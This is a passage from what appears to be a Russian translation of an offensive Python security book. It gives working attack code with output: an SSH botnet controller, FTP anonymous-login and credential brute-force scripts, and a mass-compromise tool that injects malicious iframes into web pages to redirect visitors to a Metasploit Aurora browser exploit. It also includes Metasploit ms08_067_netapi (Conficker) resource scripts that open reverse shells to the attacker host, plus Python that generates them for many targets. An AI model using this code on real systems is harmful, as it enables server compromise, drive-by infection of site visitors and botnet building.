[-] Testing keyfile tmp/002401393933ce284398af5b97d42fb5-6059
[-] Testing keyfile tmp/003e792d192912b4504c61ae7f3feb6f-30448
[-] Testing keyfile tmp/003add04ad7a6de6cb1ac3608a7cc587-29168
[+] Success. tmp/002dcb29411aac8087bcfde2b6d2d176-27637
[-] Testing keyfile tmp/003796063673f0b7feac213b265753ea-13516
[*] Exiting: Key Found.

```

## Построение SSH-ботнета

Теперь, когда мы продемонстрировали, что можем управлять хостом через SSH, давайте расширим его для одновременного управления множеством хостов. Злоумышленники часто используют множества скомпрометированных компьютеров в злонамеренных целях. Мы называем это ботнетом, потому что скомпрометированные компьютеры действуют как боты для выполнения инструкций.

Чтобы построить наш ботнет, нам нужно будет ввести новую концепцию – класс. Концепция класса служит основой для названной модели объектно-ориентированного программирования. В этой системе мы создаём отдельные объекты с помощью связанных методов. Для нашего ботнета каждому отдельному боту или клиенту потребуется возможность подключения и выдачи команды.

```
import optparse
import pxssh
class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()
    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'
    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before
```

Изучите код для создания объекта класса **Client()**. Для сборки клиента потребуются имя хоста, имя пользователя, пароль или ключ. Кроме того, класс содержит методы, необходимые для поддержки клиента – **connect()**, **send\_command()**, **alive()**. Обратите внимание, что когда мы ссылаемся на переменную, принадлежащую классу, мы называем её **self-followed by the variable name**. Чтобы построить ботнет, мы создаём глобальный массив с именем **botnet**, и этот массив содержит отдельные клиентские объекты. Затем мы создаём функцию с именем **addClient()**, которая принимает хост, пользователя и пароль в качестве входных данных для создания экземпляра объекта **client** и добавления его в массив ботнета.



Затем функция `botnetCommand()` принимает аргумент команды. Эта функция выполняет итерацию по всему массиву и отправляет команду каждому клиенту в массиве ботнета.

## ФРОНТОВЫЕ СВОДКИ

### «Добровольческий» ботнет

Хакерская группа Anonymous обычно использует против своих противников добровольный ботнет. В этом качестве она просит своих участников загрузить инструмент, известный как Low Orbit Ion Cannon («Низкоорбитальное ионное орудие») (LOIC). Действуя сообща, члены Anonymous начинают распределённую атаку ботнета на сайты, которые они считают своими противниками. Несмотря на то, что действия группы Anonymous были, вполне возможно, незаконными, они добились заметных моральных побед. Например, в недавней операции, Operation #Darknet, Anonymous использовал свой добровольный ботнет, чтобы «завалить» сайт, посвящённый распространению детской порнографии.

```
import optparse
import pxssh
class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()
    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'
    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before
def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from ' + client.host
        print '[+] ' + output + '\n'
def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)
```

```
botNet = []
addClient('10.10.10.110', 'root', 'toor')
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')
```

Ну вот, мы завершили скрипт ботнета SSH. Он оказался отличным способом для массового контроля целей. Для тестирования мы сделаем три копии нашей текущей виртуальной машины Backtrack 5 и добавим их в ботнет. Мы видим, что можем циклично прогонять скрипт через эти три хоста и выдавать одновременные команды каждой из жертв. Поскольку скрипт создания ботнета SSH атаковал серверы напрямую, следующий раздел будет посвящён косвенным векторам атаки на целевых клиентов через уязвимые серверы и альтернативному подходу к организации массового заражения.

```
attacker:#!# python botNet.py
[*] Output from 10.10.10.110
[+] uname -v
#1 SMP Fri Feb 17 10:34:20 EST 2012
[*] Output from 10.10.10.120
[+] uname -v
#1 SMP Fri Feb 17 10:34:20 EST 2012
[*] Output from 10.10.10.130
[+] uname -v
#1 SMP Fri Feb 17 10:34:20 EST 2012
[*] Output from 10.10.10.110
[+] cat /etc/issue
BackTrack 5 R2 - Code Name Revolution 64 bit \n \l
[*] Output from 10.10.10.120
[+] cat /etc/issue
BackTrack 5 R2 - Code Name Revolution 64 bit \n \l
[*] Output from 10.10.10.130
[+] cat /etc/issue
BackTrack 5 R2 - Code Name Revolution 64 bit \n \l
```

## Массовая компрометация через соединение FTP с сетью

При проведении недавней крупной компрометации, получившей название k985ytv, злоумышленники использовали анонимные и украденные учётные данные FTP для получения доступа к 22400 уникальным доменам и 536000 заражённых страниц (Huang, 2011). Получив доступ, они внедрили javascript для перенаправления доброкачественных страниц на вредоносный домен в Украине. После того, как заражённый сервер

перенаправлял своих жертв, вредоносный украинский домен использовал их для установки поддельной антивирусной программы, которая похищала у клиентов информацию о кредитных картах. Атака k985ytv оказалась ошеломляющим успехом. В следующем разделе мы воссоздадим её на языке Python.

Изучая журналы FTP заражённых серверов, мы можем точно узнать, что произошло. Автоматизированный скрипт подключался к целевому хосту, чтобы определить, содержит ли он страницу по умолчанию с именем index.htm. Далее злоумышленник загружал новый index.htm, предположительно содержащий скрипт вредоносного перенаправления. Заражённый сервер затем эксплуатировал любых уязвимых клиентов, посещавших его страницы.

```
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST
/folderthis/folderthat/" 226 1862
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE index.htm" 213 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR index.htm" 226 2573
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR index.htm" 226 3018
```

Для лучшего понимания начального вектора этой атаки давайте вкратце поговорим о характеристиках FTP. Служба протокола передачи файлов (FTP) позволяет пользователям передавать файлы между узлами в сети на основе TCP. Как правило, пользователи проходят аутентификацию на FTP-серверах, используя комбинацию имени пользователя и пароля. Тем не менее, некоторые сайты предоставляют возможность аутентификации анонимно. В этом сценарии пользователь вводит имя пользователя «anonymous» и отправляет адрес электронной почты вместо пароля.

## Создание анонимного FTP-сканера с помощью языка Python

Учитывая последствия для безопасности, кажется безумием, что любые сайты могут предлагать анонимный доступ по FTP. Тем не менее, на удивление много сайтов предоставляют законные причины для такого типа доступа по FTP: например, продвигая идею о том, что он даёт более совершенные средства доступа к обновлениям программного обеспечения. Мы можем использовать библиотеку **ftplib** в Python, чтобы создать небольшой скрипт для определения, предлагает ли сервер анонимный вход. Функция **anonLogin()** принимает имя хоста и возвращает логическое значение, которое описывает доступность анонимных входов. Чтобы определить это логическое значение, функция пытается создать FTP-соединение с анонимными учётными данными. Если соединение успешно, то она возвращает значение «**True**». Если в процессе создания соединения функция выдаёт исключение, она возвращает его как «**False**».

```
import ftplib
def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'me@your.com')
        print '\n[*] ' + str(hostname) + \
            ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) + \
            ' FTP Anonymous Logon Failed.'
        return False
host = '192.168.95.179'
anonLogin(host)
```

Запустив код, мы увидим уязвимую цель с включённым анонимным FTP.

```
attacker# python anonLogin.py
[*] 192.168.95.179 FTP Anonymous Logon Succeeded.
```

## Использование `Ftplib` для брутфорса FTP учётных данных пользователя

Хотя анонимный доступ даёт один способ входа в системы, злоумышленники также весьма успешно используют украденные учётные данные для получения доступа к легальным FTP-серверам. Программы FTP-клиента, такие как FileZilla, часто хранят пароли в открыто-текстовых файлах конфигурации (Huang, 2011). Хранение паролей в открытом тексте в распоряжении по умолчанию позволяет вредоносным программам быстро красть учётные данные. Эксперты по безопасности недавно обнаружили подобные вредоносы. Кроме того, HD Moore даже включил скрипт `get_filezilla_creds.rb` в недавнюю версию Metasploit, позволяющую пользователям быстро сканировать учётные данные FTP после эксплуатации цели. Представьте себе текстовый файл с комбинацией имени пользователя и пароля, через который нам нужно сделать брутфорс. Для целей этого скрипта представьте, что комбинации имени пользователя и пароля хранятся в одном файле открытого текста.

```
administrator:password
admin:12345
root:secret
guest:guest
root:toor
```

Теперь мы можем расширить функцию `anonLogin()`, и создать функцию `bruteLogin()`. Эта функция примет файл хоста и пароль в качестве входных данных и вернёт учётные данные, разрешающие доступ к хосту. Обратите внимание, что данная функция перебирает каждую строку файла, разделённую двоеточиями. Затем функция берёт имя пользователя и пароль, и пытается войти на FTP-сервер. Если всё проходит успешно, она выдаст логин и пароль. Если происходит сбой, данные уйдут в исключения и функция перейдёт к следующей строке. Если функция исчерпала все строки и не смогла успешно войти в систему, она выдаст строку «`None, None`».

```
import ftplib
def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print "[+] Trying: "+userName+"/"+passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) + \
                ' FTP Logon Succeeded: '+userName+"/"+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)
host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)
```

Перебирая список комбинаций имени пользователя и пароля, мы наконец-то находим рабочую учётную запись `guest` с паролем `guest`.

```
attacker# python bruteLogin.py
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
```

## Поиск веб-страниц на FTP-сервере

Обладая доступом к FTP-серверу, мы должны теперь проверить, предоставляет ли сервер также и доступ к сети. Чтобы сделать это, вначале посмотрим содержимое каталога FTP-

сервера и поищем веб-страницы по умолчанию. Функция `returnDefault()` принимает FTP-соединение в качестве входных данных и возвращает массив найденных. Она делает это, отдавая команду `NLST`, которая перечисляет содержимое каталога. Функция проверяет каждый файл, возвращаемый `NLST`, на имена файлов веб-страниц по умолчанию. Она также добавляет любые обнаруженные страницы по умолчанию в массив с именем `retList`. После завершения итерации этих файлов функция выдаёт нам данный массив.

```
import ftplib
def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print '[+] Found default page: ' + fileName
            retList.append(fileName)
    return retList
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)
```

Глядя на уязвимый FTP-сервер, мы видим, что у него есть три веб-страницы в базовом каталоге. Отлично! Далее мы приступим к заражению этих страниц.

```
attacker# python defaultPages.py
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
```

## Добавление вредоноса веб-страницы

Теперь, когда мы нашли файлы веб-страниц, нам надо добавить на них вредоносное перенаправление. Воспользуемся инфраструктурой Metasploit для быстрого создания вредоносного сервера и страницы, размещённой по адресу <http://10.10.10.112:8080/exploit>. Обратите внимание, что мы выбрали эксплойт `ms10_002_aurora` — тот самый, который использовался во время операции «Aurora» против Google. На странице

10.10.10.112:8080/exploit перенаправленные жертвы будут подвержены влиянию эксплойта, что обеспечит нам возможность произведения обратного вызова к серверу управления и контроля.

```
attacker# msfcli exploit/windows/browser/ms10_002_aurora
  LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
  PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<...ПРОПУЩЕНО...>
LHOST => 10.10.10.112
SRVHOST => 10.10.10.112
URIPATH => /exploit
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.10.10.112
LPORT => 443
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
```

Любой уязвимый клиент, который подключается к нашему серверу по адресу <http://10.10.10.112:8080/exploit>, теперь станет жертвой нашего эксплойта. Если это удастся, он создаст обратную оболочку TCP и предоставит нам доступ к командной строке Windows на заражённом клиенте. Из командной оболочки мы теперь можем выполнять команды в качестве администратора заражённой жертвы.

```
msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora"
  Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
  10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
```

Затем мы должны добавить перенаправление с доброкачественных заражённых серверов на наш вредоносный сервер эксплойтов. Для этого мы можем загрузить страницы по умолчанию, найденные на безопасном сервере, внедрить iframe и загрузить вредоносные страницы обратно на безопасный сервер. Обратимся к `injectPage()`. Функция `injectPage()` принимает в качестве входных данных FTP-соединение, имя страницы и строку iframe с перенаправлением. Затем она загружает временную копию этой страницы. Далее добавляет

перенаправление iframe на наш вредоносный сервер к этому временному файлу. Наконец, функция загружает заражённую страницу обратно на доброкачественный сервер.

```
import ftplib
def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src='+\
    '"http://10.10.10.112:8080/exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)
```

Запустив наш код, мы видим, как он загружает страницу index.html и внедряет в неё наш вредоносный контент.

```
attacker# python injectPage.py
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
```

## Объединяя всю атаку в единое целое

Мы финализируем атаку функцией **attack()**. Эта функция принимает в качестве входных данных имя пользователя, пароль, имя хоста и путь перенаправления. Функция сначала регистрируется на FTP-сервере с учётными данными. Далее у нас есть скрипт поиска для веб-страниц по умолчанию. Для каждой из этих страниц скрипт загружает копию и добавляет в неё вредоносное перенаправление. Затем скрипт загружает заражённую страницу обратно на FTP-сервер, который затем заражает всех будущих жертв, посещающих этот веб-сервер.

```
def attack(username, password, tgtHost, redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)
```



Добавив несколько вариантов парсинга, мы завершаем весь скрипт. Вы заметите, что мы сначала пытаемся получить анонимный доступ к FTP-серверу. Если это не удаётся, тогда мы брутфорсим и проводим атаку на обнаруженные учётные данные. Представляя собой всего лишь сто строк кода, атака полностью повторяет исходный вектор атаки эксплойта k985ytv.

```
import ftplib
import optparse
import time
def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'me@your.com')
        print '\n[*] ' + str(hostname) + \
            ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) + \
            ' FTP Anonymous Logon Failed.'
        return False
def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) + \
                ' FTP Logon Succeeded: '+userName+'/'+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)
def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return
    retList = []
    for fileName in dirList:
```

```

    fn = fileName.lower()
    if '.php' in fn or '.htm' in fn or '.asp' in fn:
        print '[+] Found default page: ' + fileName
        retList.append(fileName)
    return retList
def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page
def attack(username, password, tgtHost, redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)
def main():
    parser = optparse.OptionParser('usage%prog '+\
        '-H <target host[s]> -r <redirect page>'+\
        '[-f <userpass file>]')
    parser.add_option('-H', dest='tgtHosts', \
        type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile', \
        type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect', \
        type='string', help='specify a redirection page')
    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(',')
    passwdFile = options.passwdFile
    redirect = options.redirect
    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)
    for tgtHost in tgtHosts:
        username = None
        password = None
        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = 'me@your.com'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
        elif passwdFile != None:
            (username, password) =\
                bruteLogin(tgtHost, passwdFile)
        if password != None:

```

```

    print'[+] Using Creds: ' + \
    username + '/' + password + ' to attack'
    attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
    main()

```

Запустив наш скрипт на уязвимом FTP-сервере, мы видим, что производится попытка анонимного входа в систему, провал, далее следует проба пароля guest/guest, и наконец – загрузка, изменение и внедрение каждой страницы из основного каталога.

```

attacker# python massCompromise.py -H 192.168.95.179 -r '<iframe
src="http://10.10.10.112:8080/exploit"></iframe>' -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php
[+] Downloaded Page: testmysql.php
[+] Injected Malicious IFrame on: testmysql.php
[+] Uploaded Injected Page: testmysql.php

```

Мы убеждаемся, что наша атака работает, и ждём, когда жертва подключится к заражённому веб-серверу. Достаточно скоро 10.10.10.107 посещает веб-сервер и перенаправляется на нашу сторону. Супер! Мы получаем доступ к командной оболочке жертвы, заражая веб-сервер через FTP-сервер.

```

attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<...ПРОПУЩЕНО...>
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >

```

```
[*] Sending Internet Explorer "Aurora" Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 -> 10.10.10.107:65507) at 2012-06-24
10:02:00 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
```

Несмотря на то, что преступники при распространении Fake Antivirus использовали атаку k985ytv в качестве лишь одного из многих векторов атаки, он успешно скомпрометировал 2220 из 11000 предположительно заражённых доменов. В целом, к 2009 году Fake Antivirus захватил данные кредитных карт более 43 миллионов человек, и продолжает распространяться. Неплохо так для сотни строк кода в Python! В следующем разделе мы воссоздадим атаку, которая скомпрометировала более 5 миллионов рабочих станций в 200 странах.

## Conficker: почему быть настырным – это всегда хорошо

В конце ноября 2008 года эксперты по компьютерной безопасности обнаружили интересного и меняющего правила игры червя. The **Conficker**, или **W32DownandUp Worm**, распространился настолько быстро, что заразил пять миллионов компьютеров в более чем 200 странах (Markoff, 2009). Тогда как некоторые из передовых методов (цифровые подписи, зашифрованная полезная нагрузка и альтернативные схемы распространения) помогли в атаке, Conficker в своей основе сохраняет некоторые сходства в направлениях атаки с червем Морриса 1988 года (Nahorney, 2009). На следующих страницах мы воссоздадим основные векторы атаки Conficker.

В своей базовой программе заражения Conficker использовал два вектора атаки.

### ФРОНТОВЫЕ СВОДКИ

#### Атаки на пароль

В своей атаке Conficker использовал список из более чем 250 распространённых паролей. Червь Морриса использовал список из 432 паролей. В списках этих двух чрезвычайно успешных атак 11 самых распространённых паролей совпали. При составлении списка атак обязательно стоит включить эти одиннадцать паролей.

Это пароли: aaa, academia, anything, coffee, computer, cookie, oracle, password, secret, super и unknown.

На волне нескольких громких атак хакеры выложили дампы паролей в Интернет. Хотя действия, приводящие к таким попыткам ввода пароля, несомненно являются незаконными, эти дампы паролей стали интересным материалом для исследований экспертами по безопасности. Руководитель проекта DARPA Cyber Fast Track Петер Затко (он же Mudge) заставил целую комнату, переполненную хакерами из Army Brass, покраснеть, когда спросил их, составляют ли они свои пароли, используя комбинацию из двух слов с заглавными буквами, за которыми следуют два специальных символа и два числа. Кроме того, хакерская группа LulzSec опубликовала 26000 паролей и личную информацию о пользователях в дампе в начале июня 2011 года. В ходе скоординированного удара некоторые из этих паролей были повторно использованы для атаки на сайты социальных сетей всё тех же лиц. Однако самой плодотворной атакой стало раскрытие более 1 миллиона имён пользователей и паролей популярного блога новостей и сплетен Gawker.

Во-первых, Conficker использовал эксплойт нулевого дня для уязвимости службы сервера Windows. Использование этой уязвимости позволило червю вызвать повреждение стека, которое выполнило шелл-код и загрузило его копию на заражённый хост. Когда этот метод атаки не удавался, Conficker пытался получить доступ к жертве, взломав учётные данные общего административного сетевого ресурса по умолчанию (ADMIN\$).

### Атака службы Windows SMB с помощью Metasploit

Чтобы упростить нашу атаку, мы применим Metasploit Framework, доступный для загрузки по адресу: <http://metasploit.com/download/>. Являясь проектом по компьютерной безопасности с открытым исходным кодом, Metasploit быстро завоевал популярность и стал де-факто инструментарием для применения эксплойтов за последние восемь лет. Разработанный легендарным автором эксплойтов, HD Moore, Metasploit позволяет пентестерам запускать тысячи различных компьютерных эксплойтов из стандартизированной среды с возможностью написания скриптов. Вскоре после выпуска уязвимости, включённой в червя Conficker, HD Moore интегрировал в среду рабочий эксплойт – **ms08-067\_netapi**.

Хотя атака может осуществляться в интерактивном режиме с помощью Metasploit, он также имеет возможность считывать информацию из пакетных файлов. Чтобы выполнить атаку, Metasploit последовательно выполняет команды из пакетного файла. Посмотрим, например, нужно ли нам атаковать цель на нашем хосте-жертве 192.168.13.37, используя эксплойт **ms08\_067\_netapi** (Conficker), чтобы доставить оболочку обратно на наш хост 192.168.77.77 через TCP-порт 7777.

```
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.37
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.77.77
set LPORT 7777
exploit -j -z
```

Чтобы использовать атаку Metasploit, мы выбираем наш эксплойт (**exploit/windows/smb/ms08\_067\_netapi**), и назначаем целью 192.168.1.37. После выбора цели мы указываем полезную нагрузку **windows/meterpreter/reverse\_tcp** и выбираем обратное соединение с нашим хостом по адресу 192.168.77.77 через порт 7777. Наконец, мы даём Metasploit указание применить эксплойт на систему. Сохранив файл конфигурации под именем **conficker.rc**, мы можем теперь запустить нашу атаку, введя команду **msfconsole -r conficker.rc**. В случае успеха наша атака выведет командную оболочку Windows для управления машиной.

```
attacker$ msfconsole -r conficker.rc
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.77.77:7777
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.37
[*] Meterpreter session 1 opened (192.168.77.77:7777 -> 192.168.1.37:1087) at Fri Nov 11
15:35:05 -0700 2011
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > execute -i -f cmd.exe
Process 2024 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
```

## Написание Python для взаимодействия с Metasploit

Отлично! Мы создали файл конфигурации, «угнали в рабство» машину и получили доступ к оболочке. Повторение этого процесса для 254 хостов может занять у нас довольно много времени на создание файла конфигурации, но если мы снова будем использовать Python, то сможем сгенерировать быстрый скрипт для сканирования хостов, у которых открыт TCP-порт 445, и затем создать файл ресурсов Metasploit для атаки на все уязвимые узлы.

Во-первых, давайте задействуем модуль **Nmap-Python** из нашего предыдущего примера сканера портов. Здесь функция **findTgts,()** принимает входные данные потенциальных

целевых хостов и возвращает все хосты, у которых открыт TCP-порт 445. TCP-порт 445 служит основным портом для протокола SMB. Благодаря отфильтровыванию только тех хостов, у которых открыт TCP-порт 445, наш скрипт атаки может теперь «смотреть» только на нужные нам хосты. Это исключит хосты, блокирующие наши попытки подключения. Функция перебирает все хосты во время проверки и, находя хост с открытым TCP, она добавляет этот хост в массив. После завершения цикла функция выводит этот массив, содержащий все хосты с открытым TCP-портом 445.

```
import nmap
def findTgts(subNet):
    nmScan = nmap.PortScanner()
    nmScan.scan(subNet, '445')
    tgtHosts = []
    for host in nmScan.all_hosts():
        if nmScan[host].has_tcp(445):
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
    return tgtHosts
```

Далее мы настроим прослушиватель эксплуатируемых целей. Этот прослушиватель, или канал управления и контроля, позволит нам удалённо взаимодействовать с нашими целевыми хостами после их эксплуатации. Metasploit предоставляет нам продвинутую динамическую полезную нагрузку, известную как Meterpreter. Работая на удалённой машине, Metasploit Meterpreter делает обратный вызов к хосту управления и контроля и предоставляет множество функций для анализа и контроля заражённой цели. Расширения Meterpreter дают возможности поиска криминалистических объектов, выдачи команд, маршрутизации трафика через заражённый хост, установки регистратора ключей и дампа хэшей паролей.

Когда процесс Meterpreter подключается обратно к атакующему для получения команд и инструкций по управлению, вызывается модуль Metasploit **multi/handler**. Чтобы настроить слушатель **multi/handler** на нашей машине, нужно прописать инструкции в файл конфигурации Metasploit. Обратите внимание, что мы устанавливаем полезную нагрузку как соединение **reverse\_tcp**, а затем указываем адрес нашего локального хоста и порт, для которого нам нужно получить соединение. Кроме того, мы установим глобальную конфигурацию **DisablePayloadHandler**, чтобы указать, что всем последующим хостам не нужно настраивать обработчик, поскольку он у нас уже имеется.

```
def setupHandler(configFile, lhost, lport):
    configFile.write('use exploit/multi/handler\n')
    configFile.write('set PAYLOAD '+ 'windows/meterpreter/reverse_tcp\n')
```

```
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
configFile.write('setg DisablePayloadHandler 1\n')
```

Что ж, мы наконец дошли до той точки скрипта, когда можно применять эксплойты против цели. Эта функция будет предоставлять данные о файле конфигурации Metasploit, цели, а также локальном адресе и портах для эксплойта. Функция запишет тонкие настройки эксплойта в файл конфигурации. Сначала она выбирает конкретный эксплойт, **ms08\_067\_netapi**, используемый при атаке Conficker'a на цель или RHOST. Кроме того, она выбирает полезную нагрузку Meterpreter, и локальный адрес (LHOST) с портом (LPORT), необходимые для Meterpreter. Наконец, она отправляет инструкцию использовать машину в контексте задания (**-j**) и не взаимодействовать с заданием немедленно (**-z**). Сценарию требуются эти конкретные параметры, поскольку он будет применять эксплойты на несколько целей, и поэтому не сможет взаимодействовать со всеми одновременно.

```
def confickerExploit(configFile, tgtHost, lhost, lport):
    configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
    configFile.write('set RHOST ' + str(tgtHost) + '\n')
    configFile.write('set PAYLOAD '+'\windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')
```

## Удалённое выполнение процесса Brute Force

